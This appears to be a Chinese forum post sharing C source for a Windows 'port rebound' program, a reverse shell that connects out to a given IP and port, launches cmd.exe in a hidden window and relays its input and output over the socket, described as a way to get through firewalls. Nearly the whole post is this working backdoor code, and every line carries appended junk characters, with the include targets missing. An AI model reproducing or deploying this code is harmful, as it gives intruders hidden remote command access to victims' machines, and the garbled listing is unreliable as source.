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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 yB *aG  
S/y(1.wh  
/* ============================== RT'5i$q[  
Rebound port in Windows NT Zn. S65J*u  
By wind,2006/7 E=S_1  
===============================*/ sA: /!9  
#include U v>^ Z2  
#include ! @Vj&>mH$  
w^HI lA  
#pragma comment(lib,"wsock32.lib") kn HrMD;  
I Gb'ii=A  
void OutputShell(); QjJlVlp  
SOCKET sClient; [a$1{[|)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xOg|<Nnl  
uQW[2f  
void main(int argc,char **argv) x~8R.Sg  
{ <?8cVLW} O  
WSADATA stWsaData; d/3&3>/  
int nRet; \!uf*=d  
SOCKADDR_IN stSaiClient,stSaiServer; )PU\|I0|)e  
s/E9$*0  
if(argc != 3) c<cYX;O  
{ X3gYe-2  
printf("Useage:\n\rRebound DestIP DestPort\n"); TQ/#  
return; _uJ6Vy  
} R*LPwJuv  
Ebi~gGo  
WSAStartup(MAKEWORD(2,2),&stWsaData); o!y<:CGL  
AlrUfSBB  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T}XJFV  
6OPNP0@r  
stSaiClient.sin_family = AF_INET; yfFe%8w_vw  
stSaiClient.sin_port = htons(0); .1J`>T?=Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [tt_>O  
e*Nm[*@UW  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?&1%&?cg9  
{ EOqV5$+  
printf("Bind Socket Failed!\n"); ji ,`?  
return; >2mY%  
} /n,a0U/  
6w{""K.{  
stSaiServer.sin_family = AF_INET; 3+U2oI:I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X88I|Z'HIh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r[j@@[)"  
Ai)Q(]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z$YG'p{S  
{ <bv9X?U  
printf("Connect Error!"); N;m62N  
return; p<@+0Uw2  
} #LwDs,J:  
OutputShell(); B]7QOf"  
} &\/}.rF  
rHjR 4q  
void OutputShell() T z+Y_  
{ ?f:\&+.&  
char szBuff[1024]; j=>WWlZ  
SECURITY_ATTRIBUTES stSecurityAttributes; dwzk+@]8  
OSVERSIONINFO stOsversionInfo; V+*1?5w  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6ESS>I"su  
STARTUPINFO stStartupInfo; )OGO wStz  
char *szShell; "bO]AG  
PROCESS_INFORMATION stProcessInformation; F20%r 0  
unsigned long lBytesRead; L#IY6t  
<lPHeO<^]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )=,;-&AR  
6X VJ/qZ  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xd~lifF  
stSecurityAttributes.lpSecurityDescriptor = 0; 2b#> ~  
stSecurityAttributes.bInheritHandle = TRUE; % =v<3  
oX/#Mct{s  
ju"j?2+F  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \WVY@eB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !-gOqo  
ux7g%Q ^"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Qm?o^%a  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } /Iw]!lK2  
stStartupInfo.wShowWindow = SW_HIDE; &gm/@_  
stStartupInfo.hStdInput = hReadPipe; 1;MUemnx`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qRZLv7X*j  
,76nDXy`  
GetVersionEx(&stOsversionInfo); cC,gd\}M  
yLt?XhRlp  
switch(stOsversionInfo.dwPlatformId) ]b&qC (  
{ e=Kr>~q=  
case 1: cXOb=  
szShell = "command.com"; )jRaQ~Sm  
break; nQ'AB~ Do  
default: Yg`z4 U'6~  
szShell = "cmd.exe"; iJu$&u  
break; UDa\*  
} ,rQPs  
MWc{7,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _~ 7cn  
cFG%Ew@  
send(sClient,szMsg,77,0); ;\+A6(GX{  
while(1) *icxK  
{ rMUQh~a/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `qbsDfq@  
if(lBytesRead) zB{be_Tw  
{ JvLa@E)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LZ~$=<  
send(sClient,szBuff,lBytesRead,0); &$NVEmW-J  
} AyZBH &}RZ  
else ~48mCD  
{ 9DmQ  
lBytesRead=recv(sClient,szBuff,1024,0); RFm9dHI27  
if(lBytesRead<=0) break; D#&N?< }  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gLv";"4S  
} !O8vr4=  
} L_7-y92<W  
q|ZQsFZ  
return; ^S`c-N  
}
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